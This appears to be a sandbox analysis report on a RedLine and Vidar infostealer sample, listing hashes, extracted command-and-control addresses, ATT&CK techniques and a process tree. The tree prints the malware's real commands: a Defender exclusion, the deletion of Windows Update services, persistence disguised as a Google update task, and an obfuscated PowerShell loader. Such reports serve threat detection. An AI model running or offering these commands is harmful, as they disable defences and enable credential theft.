redline | ddc401c77fcd4153860cc36056d6c4fc725910e38c09ea02031ebe354026564f

Analysis

max time kernel
151s
max time network
148s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25/10/2022, 00:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe
Size 1.2MB
Sample221025-a4msgabbb5
SHA256 ddc401c77fcd4153860cc36056d6c4fc725910e38c09ea02031ebe354026564f
MD5 90fdd9656ae18d88f7e16bcd0541f67d
SHA1 ab5cc5b127592e2cfa15655ef49c3ca6d714e591
SHA512 061003999de45d5834a8e4a06fedea2e4156e61f62d336c46c3dd6079d05c6c0fe3c714b15443ecf794380809635c55473cfd6e6466a19185fb3f5d51c49a1bd
SSDEEP 24576:Y3GXkhfSiRYyYjta2A8UMLtd9QCVsTs6I9/Uv6M:Y3MkhfSQCAs6uM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline vidar 1707 @panamamen evasion infostealer persistence spyware stealer upx

Malware Config

Extracted

Family

redline

Botnet

@PanamaMen

77.73.134.24:80

Attributes

auth_value
db52dedff59da22de686b3f5e4d527fe

Extracted

Family

vidar

Version

55.2

Botnet

1707

https://t.me/slivetalks
https://c.im/@xinibin420

Attributes

profile_id
1707

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/100048-56-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline
behavioral1/memory/100048-61-0x00000000000B21DE-mapping.dmp	family_redline
behavioral1/memory/100048-63-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline
behavioral1/memory/100048-62-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 22596 created 420	22596	powershell.EXE	3
PID 22616 created 420	22616	powershell.EXE	3

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
100080	ofg.exe
1340	test.exe
8188	brave.exe
9480	chrome.exe
22304	svcupdater.exe
22548	updater.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinRing0_1_2_0\ImagePath = "\\??\\C:\\Program Files\\Google\\Libs\\WR64.sys"	services.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000e000000014145-79.dat	upx
behavioral1/files/0x000e000000014145-81.dat	upx
behavioral1/memory/8188-94-0x000000013FB50000-0x0000000140011000-memory.dmp	upx
behavioral1/files/0x000e000000014145-168.dat	upx
behavioral1/memory/8188-172-0x000000013FB50000-0x0000000140011000-memory.dmp	upx
behavioral1/files/0x0006000000014b13-182.dat	upx
behavioral1/files/0x0006000000014b13-185.dat	upx
behavioral1/memory/22548-200-0x000000013FC50000-0x0000000140111000-memory.dmp	upx
behavioral1/files/0x0006000000014b13-508.dat	upx

Loads dropped DLL 18 IoCs

pid	Process
100048	AppLaunch.exe
100048	AppLaunch.exe
100048	AppLaunch.exe
100048	AppLaunch.exe
100048	AppLaunch.exe
100048	AppLaunch.exe
70240	WerFault.exe
70240	WerFault.exe
70240	WerFault.exe
70240	WerFault.exe
70240	WerFault.exe
272	WerFault.exe
272	WerFault.exe
272	WerFault.exe
1740	vbc.exe
1740	vbc.exe
1740	vbc.exe
22480	taskeng.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\GoogleUpdateTaskMachineQC	svchost.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1212 set thread context of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1340 set thread context of 1740	1340	test.exe	45
PID 8188 set thread context of 22356	8188	brave.exe	74
PID 22596 set thread context of 22784	22596	powershell.EXE	87
PID 22616 set thread context of 22840	22616	powershell.EXE	88
PID 22548 set thread context of 24792	22548	updater.exe	112
PID 22548 set thread context of 25108	22548	updater.exe	118

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	svchost.exe
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
24516	sc.exe
21996	sc.exe
22016	sc.exe
22084	sc.exe
24156	sc.exe
24204	sc.exe
22104	sc.exe
22144	sc.exe
24040	sc.exe
24092	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
70240	9480	WerFault.exe	37
272	1340	WerFault.exe	34

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1400	schtasks.exe
14712	SCHTASKS.exe
70184	SCHTASKS.exe
22236	schtasks.exe
24188	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
22684	timeout.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a08e18111ce8d801	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
100048	AppLaunch.exe
100048	AppLaunch.exe
14340	powershell.exe
21760	powershell.exe
21944	powershell.exe
1740	vbc.exe
22368	powershell.exe
22596	powershell.EXE
22616	powershell.EXE
22596	powershell.EXE
22616	powershell.EXE
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
23268	powershell.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
24028	powershell.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe
22840	dllhost.exe
22784	dllhost.exe
22784	dllhost.exe
22840	dllhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	services.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	100048	AppLaunch.exe
Token: SeDebugPrivilege	100080	ofg.exe
Token: SeDebugPrivilege	14340	powershell.exe
Token: SeDebugPrivilege	21760	powershell.exe
Token: SeShutdownPrivilege	21984	powercfg.exe
Token: SeShutdownPrivilege	22068	powercfg.exe
Token: SeDebugPrivilege	21944	powershell.exe
Token: SeShutdownPrivilege	22116	powercfg.exe
Token: SeShutdownPrivilege	22132	powercfg.exe
Token: SeDebugPrivilege	22304	svcupdater.exe
Token: SeDebugPrivilege	22368	powershell.exe
Token: SeDebugPrivilege	22596	powershell.EXE
Token: SeDebugPrivilege	22616	powershell.EXE
Token: SeDebugPrivilege	22596	powershell.EXE
Token: SeDebugPrivilege	22616	powershell.EXE
Token: SeDebugPrivilege	22784	dllhost.exe
Token: SeDebugPrivilege	22840	dllhost.exe
Token: SeAuditPrivilege	880	svchost.exe
Token: SeDebugPrivilege	23268	powershell.exe
Token: SeAuditPrivilege	880	svchost.exe
Token: SeShutdownPrivilege	24108	powercfg.exe
Token: SeDebugPrivilege	24028	powershell.exe
Token: SeShutdownPrivilege	24144	powercfg.exe
Token: SeShutdownPrivilege	24176	powercfg.exe
Token: SeShutdownPrivilege	24452	powercfg.exe
Token: SeDebugPrivilege	22548	updater.exe
Token: SeAssignPrimaryTokenPrivilege	24848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	24848	WMIC.exe
Token: SeSecurityPrivilege	24848	WMIC.exe
Token: SeTakeOwnershipPrivilege	24848	WMIC.exe
Token: SeLoadDriverPrivilege	24848	WMIC.exe
Token: SeSystemtimePrivilege	24848	WMIC.exe
Token: SeBackupPrivilege	24848	WMIC.exe
Token: SeRestorePrivilege	24848	WMIC.exe
Token: SeShutdownPrivilege	24848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	24848	WMIC.exe
Token: SeUndockPrivilege	24848	WMIC.exe
Token: SeManageVolumePrivilege	24848	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	24848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	24848	WMIC.exe
Token: SeSecurityPrivilege	24848	WMIC.exe
Token: SeTakeOwnershipPrivilege	24848	WMIC.exe
Token: SeLoadDriverPrivilege	24848	WMIC.exe
Token: SeSystemtimePrivilege	24848	WMIC.exe
Token: SeBackupPrivilege	24848	WMIC.exe
Token: SeRestorePrivilege	24848	WMIC.exe
Token: SeShutdownPrivilege	24848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	24848	WMIC.exe
Token: SeUndockPrivilege	24848	WMIC.exe
Token: SeManageVolumePrivilege	24848	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	880	svchost.exe
Token: SeIncreaseQuotaPrivilege	880	svchost.exe
Token: SeSecurityPrivilege	880	svchost.exe
Token: SeTakeOwnershipPrivilege	880	svchost.exe
Token: SeLoadDriverPrivilege	880	svchost.exe
Token: SeSystemtimePrivilege	880	svchost.exe
Token: SeBackupPrivilege	880	svchost.exe
Token: SeRestorePrivilege	880	svchost.exe
Token: SeShutdownPrivilege	880	svchost.exe
Token: SeSystemEnvironmentPrivilege	880	svchost.exe
Token: SeUndockPrivilege	880	svchost.exe
Token: SeManageVolumePrivilege	880	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	880	svchost.exe
Token: SeIncreaseQuotaPrivilege	880	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 1212 wrote to memory of 100048	1212	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	28
PID 100048 wrote to memory of 100080	100048	AppLaunch.exe	30
PID 100048 wrote to memory of 100080	100048	AppLaunch.exe	30
PID 100048 wrote to memory of 100080	100048	AppLaunch.exe	30
PID 100048 wrote to memory of 100080	100048	AppLaunch.exe	30
PID 100080 wrote to memory of 1524	100080	ofg.exe	31
PID 100080 wrote to memory of 1524	100080	ofg.exe	31
PID 100080 wrote to memory of 1524	100080	ofg.exe	31
PID 1524 wrote to memory of 1400	1524	cmd.exe	33
PID 1524 wrote to memory of 1400	1524	cmd.exe	33
PID 1524 wrote to memory of 1400	1524	cmd.exe	33
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 1340	100048	AppLaunch.exe	34
PID 100048 wrote to memory of 8188	100048	AppLaunch.exe	36
PID 100048 wrote to memory of 8188	100048	AppLaunch.exe	36
PID 100048 wrote to memory of 8188	100048	AppLaunch.exe	36
PID 100048 wrote to memory of 8188	100048	AppLaunch.exe	36
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 100048 wrote to memory of 9480	100048	AppLaunch.exe	37
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14340	9480	chrome.exe	38
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 14712	9480	chrome.exe	39
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70184	9480	chrome.exe	42
PID 9480 wrote to memory of 70240	9480	chrome.exe	44
PID 9480 wrote to memory of 70240	9480	chrome.exe	44
PID 9480 wrote to memory of 70240	9480	chrome.exe	44
PID 9480 wrote to memory of 70240	9480	chrome.exe	44
PID 9480 wrote to memory of 70240	9480	chrome.exe	44
PID 9480 wrote to memory of 70240	9480	chrome.exe	44

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Sets service image path in registry
- Suspicious behavior: LoadsDriver
PID:464
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:764
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1660
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1044
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1124
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1084
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1012
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:324
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {9E345975-2395-4401-A487-0128032D8A0D} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
    3⤵
    PID:22156
  - - C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
      C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:22304
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {2DB48E7B-AEFB-48F9-8E9A-244D42EB0564} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Loads dropped DLL
    PID:22480
  - - C:\Program Files\Google\Chrome\updater.exe
      "C:\Program Files\Google\Chrome\updater.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      PID:22548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:23268
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:23992
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:24040
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:24092
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:24156
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:24204
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:24516
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:24556
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:24600
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        
        PID:24652
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:24692
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:24732
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:24004
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:24108
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:24144
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:24176
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:24452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:24028
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        6⤵
        Creates scheduled task(s)
        
        PID:24188
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe xtrjicqmdliu
        5⤵
        
        PID:24792
      - C:\Windows\system32\cmd.exe
        
        cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        6⤵
        Drops file in Program Files directory
        
        PID:24824
    - - C:\Windows\system32\cmd.exe
        
        cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        5⤵
        Drops file in Program Files directory
        
        PID:24804
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Name, VideoProcessor
        6⤵
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:24848
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
        5⤵
        
        PID:25108
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:22596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:22616
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:852
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:812
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:680
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:600
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:14676

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{b141c132-de5a-41f5-ad57-4a2147909591}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:22784
- C:\Windows\System32\dllhost.exe
